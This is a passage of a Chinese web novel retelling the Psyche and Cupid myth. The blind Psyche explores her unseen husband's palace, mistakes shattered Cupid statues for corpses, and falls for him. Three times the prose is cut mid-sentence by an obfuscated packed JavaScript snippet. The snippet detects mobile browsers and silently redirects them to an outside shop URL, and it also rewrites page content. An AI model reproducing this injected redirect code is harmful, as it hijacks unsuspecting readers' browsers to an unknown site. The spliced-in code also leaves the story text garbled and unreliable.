怪物很高兴地答应了,说:“如果这样可以让你消除恐惧。” 普绪克和从前一样,用双手去感知世界,她抚摸到怪物的手臂,细长但不瘦弱,臂膀结实有力,没有任何怪物的特征。她沿着手臂抚摸到手掌,也和人类一样五指分明。 她小心翼翼将怪物的手掌与自己的手掌比较,虽是大了一截,也没有超出常人的范围,更不是锋利的爪子。 怪物的手突然用力握住她的手,捧起凑近自己问:“你的手什么时候受伤了吗,为什么会如此粗糙。” 突如其来的古怪问题让普绪克摸不着头脑,她还没回答,怪物就接话说:“是不是……在你接受爱神考验的时候,因为那些难题受伤的?” “你知道我的那些考验?”普绪克惊讶极了,一个才认识的怪物竟然知道她从前最为得意的故事。 “当然了,我都知道。”怪物原本担忧的声音又显露出一些犹豫和尴尬,说,“爱神丘比特考验了你很多针对盲人的题目,你一定觉得他很……可恶吧。” 普绪克回答说:“神怎么会针对我呢,神是仁慈善良的。” 她这么说,心里却在否认自己的说法,当时爱神针对看不见的她出了很多颜色相关的考验,美神因嫉妒她的美貌而降罪,光明神从不认为她辛辛苦苦拿到金箭是帮助他。 给予考验是恩赐,并非死罪的惩罚是恩赐,为神办事是恩赐。 “为什么呢?”怪物急切地问,困惑与不安更为明显。 普绪克没有立刻回答,她问怪物:“你知道我为了光明接受考验,知道我以前是个盲人,知道我看不见吗?” 怪物好一阵沉默,然后才有些局促不安地回答说:“我是你的丈夫呀,普绪克,我当然了解你的一切。丘比特给了你金箭,你拿去献给了阿波罗,那家伙掌管光明,所以让你的双眼能够看到。你是那样的勇敢、聪明、美丽、特别……” “……”普绪克听到怪物说的夸赞,心中情绪却低落,为什么偏偏是一个怪物对她的故事如此了解。 然而,即便是了解从前的她,也因为他本身不想被看到,所以这么近的距离都不知道现在的她再次失去了光明。 她回答说:“不是因为考验,是我在很长一段时间里只能用手摸索世界,所以双手比大多数的人都粗糙。”这也是她为数不多不符合尊贵公主的地方。 高贵的公主,应该双手纤纤不沾尘土,应该带满珍贵的宝石。但是戴着戒指、手镯等饰品,会影响她触摸外物的手感,有时候戒指还会钩到窗帘或者衣摆头发。 当她双手交叠,优雅地放在身前,人们看到的是她白皙精致的手背,没有人会仔细看她藏起来的手腹,只有当触摸到时,当触觉替代了视觉,才看见这些看不见的事。 “……”怪物捧起她的双手,深深吻在掌心。 “……”普绪克下意识就像抽走,但这一次怪物不像刚才那样礼貌立刻就松开手,相反他用力紧紧握着她的手。 怪物声音轻柔地说:“请不要拒绝我,这只是一个吻手礼。” 大多数王国人们的吻手礼,通常是亲吻自己的指尖然后飞吻,意为向献上或赐予亲吻的礼节。只有向比自己身份高很多人,才会亲吻手掌或手腕来表示尊敬。面对君主时,需要亲吻脚前的地面表达卑微。而当面对神像时,则需要恭敬亲吻神像的脚尖或脚背,表示虔诚。 “你不必这样,我知道你不是邪恶的怪物,我不会怕你的……”普绪克的心在不安与疑惑中,又多了一丝悸动。 怪物的亲吻没有停歇,又细细地落在每一个粗糙的指腹。他亲的是指腹,是她判断世界的手也是她的眼睛。 手的触觉是那样敏锐,怪物的嘴唇是如此柔软温暖。明明亲的是手,可她却感觉自己的嘴唇也泛起相同的感觉。 太奇怪了,太奇怪了!奇怪的怪物,奇怪的自己……一切都太奇怪了。 怪物终于停止了吻手,他微微俯身靠近,认真地说:“普绪克,你听我说。我知道现在的你疑惑、恐惧,对我没有半点爱意……我猜,是爱神丘比特也不忍心让你中箭爱上一个怪物,他更希望你出于自己的本心选择爱情。” 怪物幽绿色的双眼炯炯有神,充满了她此时看不到的坚定。 进拉着的手没有松开,怪物炽热的温度从手掌传递过来,这样的温度让人变得思绪模糊。普绪克很想说,爱神丘比特一定很乐意让她中箭,他一直是那样威胁的。 可怪物已经再次开口,他终于松开了手,伏在床沿仰视着自己的妻子。 普绪克只能听到他移动的声音,接着是声音来源的位置改变了,不再比自己高,而是更低。 “普绪克,无论什么原因,请你给我一个机会,被你爱上的机会。我与你有着相同的期望,不因为我的样貌、我的身份,请你仅仅是爱我……我的一切,我的……灵魂。” 说完,静静等候,然后带着期待提醒说:“如果你愿意给我机会,请赐给我一个吻。” 普绪克心脏狂跳不已,她从未有过这样的触动,为什么偏偏是一个怪物对她如此了解。 不因为身份、样貌……美丽的公主固然可以如此要求,可当对方是个丑陋的怪物时,这种要求听上去却不那么公平。但普绪克并不认为,因为容貌爱,因为容貌惧,本质是一样的,撇开那些外壳,她想要看透灵魂的本相。 她知道这很匪夷所思,自己竟对从未见过面的怪物,仅仅这时说了一会儿话的怪物,产生了比对那些年轻英俊的王子还要多的好感。 “请给我一些时间。”普绪克感觉到一种并非晕眩的晕眩感,让她无视未知的风险。 她抬起手双手交错在面前,轻轻亲吻了一下自己的指尖,带着犹豫和过分急促的心跳,缓缓将自己的双手展开放下,代表赐下了一个吻。 怪物几乎克制不住笑意,说:“感谢你的仁慈,普绪克。”他站起来,又给了普绪克一个大大的拥抱,随着触碰,内心情绪又一次失控,他不可抑制地高呼着,“普绪克,普绪克,我爱你! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387535|200262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 然后意识到自己又没能控制好这份热情,连忙松手退开两步。 “抱歉……我太高兴了,无论等待多少时间都可以,我的心不会改变。” 普绪克的心情却复杂,为自己竟做出答应怪物的求爱而懊悔。自己总要求别人了解自己的一切,可自己却对一个完全不了解的怪物,萌发出一丝丝情愫。 她试着说点别的转移注意力,说:“我有件事情想请你答应,我曾向爱神承诺,要长久虔诚地供奉他,我从王宫里带了一尊神像,不知道被遗落在了哪,如果这里有空房间,能否允许我存放爱神的神像?” 然而,刚才还温柔善良好沟通的怪物,却突然大声反驳, “不行!” “……”普绪克也没想到他会反对得如此激烈,试探问,“为什么?” 怪物又在踱步,然后说:“因为我讨厌他,他故意为难你!是他让我成了怪物!何况,我不希望自己的妻子每天都看着那个……那个孩子!” “……啊。”普绪克仿佛想到了什么,惊讶地捂嘴。 在普绪克阅读的无数黏土板记载的故事里,怪物分两种,一种是天生的怪物,往往暴躁没有理智,和动物一样依靠本能生活,这类怪物往往拥有异常的体型,是十分容易辨认的。 另一部分怪物是被诅咒或惩罚导致,无论从前是神还是人,在成为怪物后,身份外貌改变的差距让愤怒与怨恨不断膨胀,从而扭曲认知,逐渐失去理智。这类怪物则往往保留人类的外形,在躯体或者脑袋上有怪物的特征。 根据目前的情况来看,她的怪物丈夫显然是后者。 难怪找不到什么和人的差别,原来是被天神变成了怪物。 “抱歉,我不知道还有这样的事……所以你才会觉得爱神很可恶吧……” “……嗯。”怪物应下这个理由,但也不忍心让妻子失望,犹豫了一会儿说,“我会去把神像找回来,可以放在没有光线的内室,你知道那里供奉着神像就行,也不会每天都看着那个……孩子。” “感谢你的宽容。” 之后室内就是长久的沉默。 夜色更深,窗户吹进来的风有了冷意。 怪物看了看窗外,说:“你休息吧,我只在边上守着。” 普绪克应声,格外不自在地躺下休息,任谁在明知道有一双陌生的眼睛盯着自己的时候都不可能安然入睡。她不得不去思考事情让自己不那么紧张,她想着想着,逐渐困倦,皱着眉缓缓沉睡。 均匀的呼吸声让夜晚显得格外静谧,空中的云层移动,月光从窗户外照进来。 怪物的手轻柔地抚摸过她的脸庞,撩开脸颊边的碎发。 “普绪克,我的普绪克……天快亮了,我该离开了。” 他仔细为普绪克盖好被褥,转身走向阳台。 清晨第一缕阳光从地平线冒出,金红色的太阳缓缓升起。 阳光下,他一头蓬松的金色短发泛着微微光泽,一身蓝色的丝缎长袍修饰着他挺拔的身躯,俊美的面容白皙光滑,眉宇间是淡淡的忧愁混着喜悦。 背后一双洁白的羽翼缓缓展开,他回头看了眼卧室里已经沉睡的妻子,眼中无限眷恋。 “早安,明晚见。” 硕大的翅膀扇动,刮起一阵清风,他飞到空中,左手凭空出现一把金色的弓,右手一抬,手中出现一支金箭。 展翅飞行,爱神向更远处去,开始了今日神职的忙碌。 白昼呀白昼,你怎如此漫长,真希望夜晚快点降临。 5. 别进这扇门 神秘的山谷里,隐藏着一座金碧辉煌十分华丽的宫殿。周围的树木花草在风里摇曳,阳光洒落在花丛里,一个个有细长透明如蜻蜓的翅膀、光着脚丫、只有巴掌大的小人们从睡梦里醒来,纷纷在花朵里冒出脑袋。 为首的是一个脸上有雀斑的小人女孩,她打了个哈欠,抱怨道:“丘比特也真是的,明明说昨天就会把美丽的新娘带回来,我们一直等到夜晚也没等到呢。” 这些都是自然花灵,与自然女神宁芙们不同,这些花灵只在爱神的宫殿周围生活,作为爱神的助手,向人间的情侣们撒落祝福的花语。 他们会在夜晚沉睡,所以不知道丘比特已经回来又走了。 小花灵的视线看向宫殿高处的寝室,有一个从未出现在这里过的陌生女人正站在阳台边。 那人十分美丽,她穿着淡紫色的丝缎长裙,乌黑的头发如海藻般浓密,阳光洒落在头顶,黑色的发泛起微微光泽。 “那位就是普绪克公主吧!”小花灵里有人惊呼一声,一双双眼睛全部向阳台看去。 “咿呀,她可真美呀。” 小花灵们叽叽喳喳,雀斑女孩连忙叮嘱说:“嘘,可千万记住了,不能让她知道这里是爱神宫殿,任何相关的事情都不能说。” 小花灵们纷纷点头答应,便迫不及待地飞向阳台,争先恐后地打招呼。 “普绪克公主。” “普绪克公主~” “普绪克公主!” 站在阳台边的普绪克正在试图通过风和阳光的温度来判断时间,清晨的阳光是又暖又冷的,不像月光那样是彻底的清冷。 吹拂在手中的风也和夜晚不同,是带着沉淀了一夜的水汽,相反,这个季节的夜风是偏暖的,它吹拂而来的是被晒了一天的大地的干燥。 普绪克刚确定现在是早晨,就听到了叽叽咋咋的声音,她疑惑紧张地伸手向阳台外摸索,问:“是谁在那?” 雀斑女孩赶过来,扑腾着透明翅膀,说:“普绪克公主,我是艾洛尔,这里的管家,从今天开始您也是我们的主人啦!如果有什么吩咐,随时都可以告诉我。我们都将是你的仆从哟。啊对了,我给您介绍一下……” 艾洛尔让小花灵们排成一排,然后依次介绍说:“这个是雷伊、安琪莉、赫尔斯……”这样一口气报了十几个名字。 小花灵们期待地看着美丽的女主人希望能够留下一些印象,普绪克摇头说:“抱歉我看不见你们。” “咦,怎么会呢,我们没有特意隐藏呀。”艾洛尔疑惑地飞更近,盯着普绪克那双黑曜石一般明亮的眼睛,但她的眼珠没有跟随小花灵移动,她是转动整个头部,更像是通过声音在确定位置。 小花灵们纷纷飞远,聚在一起商量这是怎么一回事。他们可都听丘比特说过呢,普绪克公主为了得到光明通过很多艰难的考验,她已经献出金箭得到光明。 在说到这事时的丘比特格外生气呢,还念叨着阿波罗拿了金箭也得不到达芙妮的爱,不过,他最近没怎么提那支金箭的情况了。 “普绪克公主会不会是眼睛受伤了?”雀斑花灵艾洛尔提出一种可能。 “也可能是受到了惊吓?”长着龅牙的花灵雷伊给出假设。 “噢……可怜的普绪克。”花灵们纷纷感慨,决定把这件事情告诉丘比特,他肯定有办法能治好的。 花灵们飞回到普绪克身边,带她去熟悉这座宫殿的结构,厨房里已经有其他花灵做好了早餐。 有了小管家的帮助,普绪克对这个住所有了大概认识,不是山洞里的石屋,也不是荒野里的木屋,这根本是一座宫殿嘛!不仅有寝殿、厨房这些基础的房间,甚至还有王宫官邸才有的泥板室。 “这里也有泥板室?”普绪克感到惊讶,她想到怪物说过,他是被爱神变成怪物的,那么他成为怪物之前,是一位国王或者王子吗? 普绪克想去泥板室看看,也许能找到一些这片土地所在王国的行政文书、法律文书或者历代国王的记载等,找到怪物以前的信息。 “我一会儿就带您去,先把剩下的房间参观完吧。”小管家艾洛尔有些激动地说,“这个屋子里全都是华丽的珠宝!” “不用了,下一个吧。”普绪克摇头,继续摸索着走廊墙壁往前。 “这个房间里面全都是漂亮的衣服,普绪克公主,我为你挑选一件新衣服换上吧!”艾洛尔期待地请求。 “不用了。”普绪克仍旧拒绝,“感谢你艾洛尔,我是想……我才刚来到这,而且你也知道我的眼睛很不方便,还是先把其他房间的位置弄清楚比较好。对了,你直接叫我普绪克就行。” 一边说着,普绪克继续往前,这里已经是走廊尽头的拐角,她问艾洛尔:“这个是什么房间。”只需要告诉一声,就去下一个。 然而艾洛尔紧张地拉着普绪克的衣角往边上走,翅膀都扑腾出嗡嗡的声音。 “不行,这个房间你不能进去!”艾洛尔立刻收敛起笑意,认真解释说,“我得好好盯着你,这里面是不能让你知道的东西。”说完,艾洛尔连忙捂嘴。 越是这么说的事情,就越令人好奇。 普绪克心里记住这个走廊尽头拐角的房间,里面有着怪物不让她知道的秘密。 之后,她就在艾洛尔的引路下摸索着墙壁把宫殿大概的结构弄清楚,最后来到了单独一边的泥板室。 一整个下午,普绪克就留在了泥板室里阅读黏土板,她看了很多内容,都没有找到任何与“王国”相关的信息,泥板室里全是有关天神的记载。 她放下手中的黏土板,突然意识到昨天怪物说的话奇怪在哪了。 他对光明神阿波罗的称呼是“那家伙”,有一丝丝反感,还有一种熟人之间的调侃。而将他变成怪物的爱神丘比特,他对爱神的称呼是“那小孩”。 为什么重点是小孩,而不是恶劣呢。 普绪克摇了摇头,要理清楚的事情实在太多,她有些疲倦。她问一直跟在自己身边的小管家:“艾洛尔,现在是什么时候了?” 一开始艾洛尔没有回答,又唤了一声后才像是惊醒一般应了声。艾洛尔很轻,她就落在普绪克的头上休息,她环顾周围连忙说:“抱歉我太困了,是太阳都快下山了,丘……丘陵被照得好红呀!”差点把丘比特脱口而出,幸好及时反应过来。 都这么晚了,丘比特怎么还没回来?花灵们都很是疑惑,也为普绪克到抱不平,哪有把新娘独自留在家里两天的!而且,普绪克的眼睛不知道什么原因看不见了,也要告诉他想办法呢。 艾洛尔一边拉着普绪克往外走,一边说:“我先送你回寝室……”飞着飞着已经有些摇晃。 听出小管家的困倦,普绪克说:“我已经摸到楼梯口了,你去睡觉吧,我很适应看不见的世界,自己可以走上去。” “抱歉……都怪我没留意时间……困……我得回花里去睡觉了……”艾洛尔满是愧疚地喃喃,透明翅膀扇动的速度都变慢了许多,飞出一条高高低低的波浪线回到了花园里。 普绪克扶着楼梯边的墙壁,沿着楼梯上去就能到寝殿,但如果沿着左手边的走廊一直走,拐弯两次就到了那个不允许她去的房间。 这里的所有房间都没有锁,好像从来不担心会有人盗窃。 普绪克思索着,现在太阳刚下山。而怪物丈夫不想让她看到样貌,一定不会在还有余晖时来,在太阳开始下落到太阳彻底落下之前,她有一段彻底自由的时间。 “……”普绪克犹豫了。 经过昨天的简单沟通,她能感受到怪物本质是善良的,是被天神惩罚才变成了怪物,而他因为诸多顾虑才不想让她看到样貌。 他们都希望得到不因为外貌、不因为身份的真挚感情,在这样的前提下她答应了给怪物追求自己的机会。 “……”可是普绪克无法说服自己停止住探求真相的渴望,看不见,才想要知道更多视觉以外的东西。 她告诉自己:我已接受了嫁给怪物的惩罚,我选择成为怪物的妻子,我坦然接受他是一个怪物,我只是想要了解更多。 普绪克说:“神啊,请原谅我的好奇,这本就是至高神宙斯所赐。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387536|200262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很久以前,宙斯赐给了完美人类潘多拉好奇心和一个装满灾厄的盒子,潘多拉打开盒子,使得世界遭受毁灭。只有她的两个孩子听从先知者普罗米修斯的话造船幸存,他们在盒子底部得到了希望,抛掷石头创造了新一代的人类。 因此,现在的所有人类都像二人的母亲潘多拉一样,生来就有好奇心。 普绪克放下祷告的手,走向了左边的走廊。 就在她走到第一个拐角的时候,天空中一个有着巨大羽翼的天神也回到了他的宫殿。 爱神丘比特回来了,他是那样急切,太阳才碰到地平线就已经视为黑夜来临,他手里捧着厚重的一摞石板。 “普绪克,我回来了,看看我给你带了什么。”他落在阳台上,昏暗的余晖能见度已经很低,背光站立更看不清他的样貌。 丘比特走进寝殿,没有看到普绪克。 哦对,自己提前叮嘱过花灵们要听从普绪克的安排,他猜她此时一定是在泥板室看得入迷忘记了时间。 丘比特将石板放下,到宫殿一层寻找普绪克。这时室内的光线已经很暗,尤其是没点灯的走廊。他走向泥板室,在走廊里看见一个抚摸着墙壁往前走的身影,还有两步就是那一个不允许她去的房间。 “普绪克,你在这。”丘比特急切喊了一声。 “!”普绪克立刻站定原地,有些紧张地问,“你回来了,我可以转过身来吗。” “可以。”他这样回答,代表着周围的光线十分暗淡,不会看到他的样子。 普绪克才转过身来还没想好借口,就感觉面前的怪物将她拥抱住,此时两人都站着,也让拥抱更为紧密。普绪克下意识想推开,但自己因猜疑前来这扇门前让她多了心虚,也就没有推开他。 好奇心驱使着她去触碰,出触摸,她摸到了一对翅膀。 这样,才有了丈夫是个怪物的真实感。 翅膀的羽毛光滑流畅,手感很好。翅膀很大,让她的手无从搁置,只能落在不被翅膀影响的腰上。 她感觉这个拥抱更用力紧密了,怪物的声音就在耳边轻声问:“普绪克,我想了你一天,你有想我吗。” “我……我不知道。”普绪克无法直面他的热情,尤其在这扇门前。 落在他腰间的手感受到一些潮湿的触觉,不像汗也不像水,鼻子里嗅到一丝丝的血腥味。 “你受伤了吗?”普绪克紧张地问,“你是不是流血了?” 怪物的声音急促不安,连忙否认说:“不,不是的!我没有受伤。”他狡辩说,“是别人的血。” “……!”普绪克用力从怪物的拥抱里挣脱,她几乎已经信了怪物的善良,还在为他受伤而担心。 别人的血,别人的血…… 巨大的推力也使得她自己往后跌倒,撞开了那扇不允许踏入的门。 她吃痛地摔倒在地,撑地的手触摸到一节奇怪的东西,她试着摸索,就像是……就像是一条胳膊,她惊慌地往后退,手碰到了更多的东西,像是小腿,还有……还有一个圆滚滚的东西,是头? 这里……这里是因为藏着死亡与罪恶,才不允许她踏入? “不!不!”普绪克瞬间被恐惧包围,而昨夜他所有的温柔言语与热情爱意、祈求她给一个机会与赐予吻,更成了怪物对猎物的愚弄与欺骗,显得如此讽刺,“你杀了这么多人,怎么还能若无其事地伪装善良!” 她感觉怪物快步走向自己。 丘比特彻底慌了,他上前牢牢抓住普绪克的手,带着几分强迫按向一条残肢说:“普绪克!请你相信我!这只是石像,是……是爱神丘比特的石像!” 也是我自己的石像,是那一个调皮恶劣的混小子,是千年万年没有长大的小爱神。 当他爱上普绪克的一瞬间,从孩童变成少年。他开始厌弃自己的孩童模样,想要抹去、改变她印象里那个恶劣的小孩形象。 他推倒了爱神宫殿里所有自己的雕像,在落地时碎成碎块。他没有将破碎的神像丢弃,都收在了这个房间里。 这个房间,就是他的过去。 6. 暖春如夏夜 石料的坚硬质地通过触觉被感知到,关于死亡与罪恶的形象转变成为圣洁光辉的模样,这的确是神像最常用的石质。 普绪克瞬间陷入羞愧之中,哦对……是这样的,他被爱神变成了怪物,他当然憎恨那么恶劣的小爱神,所以破坏了小爱神的石像,藏在这里避免被发现降罪。 而她没有听从管家的叮嘱,想趁着日落的间隙摸索到一些怪物的信息,才有了这样的误会…… “抱歉,我……”普绪克不知道如何解释,她一直奉行遵守信用是个美好的品德,却因为好奇造成这样的局面。 普绪克感受到错误的同时,也憋着一股委屈与无助,她因神罚来到这个完全陌生的地方和怪物共度余生,无论这座宫殿是多么华丽,无论怪物是多么善良,她从此以后拥有的东西就圈在这一个地方。 她需要更多的信息来填补内心的不安。 此时怪物的手仍旧握着她的手,说着安慰她不要害怕的言语,并未说什么责怪之语。 普绪克反手握住怪物的手,请求道:“我对误会你感到无比抱歉,但是请你能够体谅我。既然不允许我窥探你的样貌,能否告诉我你从前的一切呢?你希望我能够也爱你,却不让我了解你。这诺大的宫殿只有你和那些听你话的仆从们,我即使知道你的一切,又会有什么改变呢?至少,让我知道,与我共度余生的是哪一个怪物。” 丘比特紧紧抿唇,内心也有几分动摇,但他不能说。当秘密被道破,至高神也会得知。 普绪克认知里的丈夫,必须是一个怪物。 他将她的手按到自己胸前,说:“普绪克,我再次由衷地请求你,务必相信我。我从来没有伤害过任何一个人类,从来没有人惧怕过我。我是……因为爱,成为了你一个人的怪物。” “我一个人的怪物……”普绪克重复了一遍这句话,没能理解其中的意思。 温热的触觉从掌心传来,怪物轻轻地吻了她的掌心,也解释了一个误会的源头,翅膀上的血。 丘比特说:“是我欺骗了你,我确实受伤流血了,但我不能告诉你原因。” 爱神代表着永恒的纯洁,不会爱上任何人,所以千年万年都是无法长大的孩子。如果他长大的事情被知道,所有人神都会好奇是谁让爱神动心,他的顾虑太多。 在还没有降下神谕之前,他担心风流的宙斯看见美丽的普绪克后会发起追求。在降下神谕之后,他担心违抗命令的事情败露。 为此,当他出现在众神面前时,就恢复成孩子的模样,等要回家的时候再变成大人。 但成长永远有代价,他的每一次长大都要经历一次骨骼血肉快速生长的疼痛,尤其是皮肤最为薄弱的翅膀,骨头戳破羽翼变大,鲜血淋漓,再被新生的皮肉覆盖,长出更为丰厚洁白的羽毛。 成长的伤痛很快就会愈合,但也需要一小段时间。 今天的他急于将石板画带回来,忘记了耐心等待伤口愈合,才有了眼前的误会。 丘比特说:“普绪克,请你原谅我。” “我才应该请你原谅……这是我的错,我应该遵守承诺。”普绪克再次道歉。 “不,不是的,普绪克,你说的对,我们因为神罚而结为夫妻,你独自一人来到这里,身边没有一个认识的,你对我一无所知,你的不安与好奇是应该的,我会想办法的。”丘比特将她扶起来,说,“不过,在那之前,我还有个礼物要送给你。” 普绪克为自己的误会而感到羞愧,没有再多说什么,任由他拉着自己走出房间。 本就没有什么光线的走廊里更加黑暗,丘比特也不得不放慢脚步,他感觉到普绪克的每一步都带着犹豫。他并未因此着急,只拉着她的手在前面带路。 月光照进大殿,地面铺上一层薄薄的霜色,两人拉着手穿过空旷的殿宇来到楼梯前。 一步、一步,缓缓走上台阶。 推开门,走进寝殿,丘比特拉着普绪克来到矮桌前坐下,说:“工匠们花了很久才完成,就这样废弃太可惜了。” 普绪克闻言,已经猜到几分,她伸手在桌子上寻找,很快就摸到了几块石板画。上面的浮雕内容是如此熟悉,失明的公主得到神的恩赐,通过重重考验终于获得金箭,她向神献上金箭换取光明。 她以前认为这已经是一个完美的神话故事,和大多数美好的故事一样鼓舞人心。 原来只是故事的上半截而已。 后来,公主遭受神罚,远离王国,放弃光明,到一个陌生的地方和怪物共度余生。 她伤心极了,抱着石板画默默流泪。 “你还好吗?”丘比特以为她会很高兴,他知道她很自豪那一段寻找光明的经历。 普绪克擦掉眼泪,可也是这个怪物,比所有追求者都明白她的心思,她轻声说:“谢谢你……怪……” 感谢时仍旧称他怪物,实在是太没有礼貌,此时才想起来他们已经结婚两天,她却还不知道丈夫叫什么名字。 普绪克整理了一下情绪问:“我还不知道你的名字,我该怎么称呼你呢。” 丘比特低头说:“我不想用一个假名字欺骗你,我不在意你称呼我怪物。” “我不想那样称呼你。”普绪克放下手中的石板画,向着声音的方向伸出手,主动拥抱了这个不知名的怪物,她小心翼翼地触摸他的翅膀问,“是因为去拿这些东西才受伤的吗?” “不,不是。”丘比特否认,说,“我真希望我的确是因此受伤,那样我就可以心安理得接受你为此的内疚和担忧,以及此时的拥抱。” 当他到迈锡尼去找石板画的时候,这些石板被丢弃在神庙外的草丛里,他才知道因为神谕说普绪克积极赞美她自己这样一个凡人而犯了无知的罪,于是她的故事从神庙走廊墙壁上摘下。在她接受惩罚被带走后,这些石板就被丢弃,谁也不敢留存触怒神明。 “普绪克,我取石板画的时候一切都很顺利。”丘比特如实说,言语里有些失落。 但普绪克没有松开拥抱,这并不是出于内疚补偿的拥抱,他了解她,非常了解她,她想拥抱他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387537|200262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她不得不承认,也为此感到迷茫与羞愧——她好像对这个只认识了两天,不知道身份、样貌、过往经历的怪物,有一丝丝的心动。 她小心翼翼将脑袋靠在怪物的胸膛,能够听到他有力的心跳声。这是她的神罚,她的丈夫,尽管他有着很多不能被知道的秘密,也是她的唯一了。 “我愿意……亲吻你。”普绪克小声说,就像每一对情侣那样。 被误会成嗜血凶残怪物的丘比特感到委屈,明白她孤身一人被困在这的无助后也为此感到内疚,而精心挑选的礼物却让她掉眼泪。 丘比特情绪很是低落,直到听到了普绪克此时说的话,他幽绿的眼眸一下子变得有了神采,错愕不敢信地抱住普绪克,说:“我可能太过期待而听错了声音,普绪克,普绪克,你能再说一遍吗?” “……”普绪克说完就已经后悔,对于一个拒绝了所有王公贵族追求的公主来说,接受怪物的追求却如此轻易,是轻浮,是不得体。 她说服自己,这是接受神罚时就做好的准备,他们已经结婚了。 她没有再开口,只是仰头向着声音的方向缓缓靠近,在他的脸颊落下一吻。 靠近时,可以感受到他温热的气息,触碰时,可以感受他拥抱的双臂在收拢。 当她微微后仰仓促保持距离,却感觉到俯首追来。 “普绪克,请允许我也亲吻你。”怪物温柔请求的声音近在咫尺。 他急促与炽热的气息感染了普绪克,她感觉自己的呼吸也变得急促,这样的温度让头脑都变得糊涂,无法去思考太多矜持与得体。 “我允许……”她小声回答,心跳快得自己都感觉陌生。 话未说完,余下的话语就被柔软温暖的唇截止,一瞬间奇怪陌生的触觉从嘴唇蔓延向四肢。 他是这样小心翼翼,又是这样热情告白,每亲吻一下便唤一声她的名字,说一句自己的喜悦。 “普绪克,我爱你。” 普绪克沦陷在这一声声呢喃里,亲吻也缓缓落在她的耳畔。 心跳明明那么有力,却不提供给双腿站立的力气,太奇怪了,为什么变得这么奇怪,让她不得不用双手搂住他的脖子保持站立。 柔软的短发轻轻拂过手臂,普绪克好奇地将手抚向他的脑袋,发质柔软蓬松,带着少许天生的弯曲,这样亲近时能闻到发丝里留存的香料味,像是很多种香料混合在一起。 她的手从头发移到脸颊,试着通过触碰描摹出他的模样,但这过于炽热的亲吻让她无法集中精神,明明是温和的春季,却似燥热的夏夜。 丘比特突然将她抱起来走向柔软的床,猝不及防地双足离地让她惊慌,下意识将他搂得更紧,直到被放置到绸缎被褥上。 亲吻。 亲吻。 亲吻。 拥抱在一起亲吻。 明明抱得无比紧密,却比没有拥抱时更感到急切,于是只能继续亲吻。 吻到疲惫,直到这种躁动停下,两人衣衫完整微乱地拥抱在一起,沉沉睡去。 7.故事的后续 天色朦胧,黎明即将到来,身边一阵轻微的声音惊醒了普绪克,她缓缓睁开看不见的眼睛,这是她得而复失光明的第三天。 脸颊留有温热的触觉,是一个告别的轻吻。 她听到翅膀展开的声音有些距离,那个仍旧不知道名字的怪物丈夫已经走到阳台将要离开。 “等一下。”她犹豫了一会儿还是坐起来向着阳台的方向说,“谢谢你将石板带回来,也请你一路小心,不要再受伤了。” “我会注意的。”丘比特十分喜悦地回答,却说,“我不会再让你知道的。” 只要仍旧想和她在一起,就一定还会受伤。因爱才能长大的身躯,有时分不清是否算一种诅咒。 “不。”普绪克拒绝,带着几分请求说,“我更希望你受伤后能第一时间让我知道,这是我为数不多能了解的事,与你的身份和从前都没有关系。” 丘比特心中有一种奇怪的触动,同时为自己的欺骗与隐瞒而感到卑鄙。 他重重点头应下了这件事情,再一次离开了宫殿。 随着太阳逐渐升起,花园里的花灵们也纷纷苏醒冒头,开始了新一天的忙碌。 普绪克决定给自己找点事情做,她将几幅石板画搬去了泥板室,让艾洛尔帮忙整理出来一些废弃的黏土板,砸烂用水重新塑形成全新的黏土板,她开始缓慢地在上面写字,想在这里也留下自己的上半篇故事。 至于下半篇,被神罚的公主遇到了一个善良的怪物,然后呢……她目前还不知道。 已经很久没有闭着眼睛写字,每写完一个都要仔细抚摸检查,这样书写的效率非常低,她不在意,在泥板室一待就是一上午,直到小管家提醒她该用餐了才知道时间流逝之快。 室外传来鸟鸣声,能够想象到树上有两个小家伙正在吵架,不知道是圆还是扁的身躯,是什么颜色的羽毛。 用晚餐后的普绪克向艾洛尔提出请求:“我想去花园里走走,如果你能带我离开宫殿到有人的地方说说话就更好了。” “抱歉,我不能带您离开宫殿,不过花园当然没问题!” “好吧,谢谢你。” 普绪克坐在花园的水池边,她的手放在水池里轻轻拨弄,感受池水的温度与流淌,凭借脑海里对世界的色彩记忆去想象。 当对怪物的恐惧彻底消散后,她才有闲暇去感慨惋惜放下的光明。 有时候她甚至会想,如果早知道是这样善良的怪物,或许中箭相爱也好,她至少还能看见。 “不,我不能这样想……”普绪克的手离开水池,按在自己不够坚定的头上,清凉的触觉让她脱离懊悔。就算能够看见,她也因神罚被限制在这座宫殿,而因中箭所爱的人,看到的又怎么会是真实的人呢。 